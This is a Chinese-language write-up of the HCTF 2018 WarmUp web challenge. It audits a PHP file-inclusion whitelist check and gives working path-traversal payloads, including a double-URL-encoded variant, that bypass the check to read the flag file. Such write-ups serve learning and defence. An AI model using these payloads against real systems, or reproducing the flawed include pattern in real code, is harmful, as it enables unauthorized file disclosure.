HCTF_2018 WarmUp

[HCTF 2018]WarmUp

进去只有一张图片，查看源代码 发现

进入source.php得到如下代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

代码审计

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])

传入一个’file’，满足不为空，是字符串，满足checkFile函数，就能被包含

public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {//不为空，是字符串的通过
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//检查是否在白名单
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//找到第一个'?'的索引
            );//截取'?'前面的字符
            if (in_array($_page, $whitelist)) {//检查截取后是否在白名单
                return true;
            }

            $_page = urldecode($page);//url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

分析后得到函数功能 只需要满足一个ture就能进入包含文件

进入hint.php 得到提示flag not here, and flag in ffffllllaaaagggg

猜测是目录遍历

这里构造payload

/source.php?file=hint.php?../../../../../ffffllllaaaagggg
或者
/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg

成功了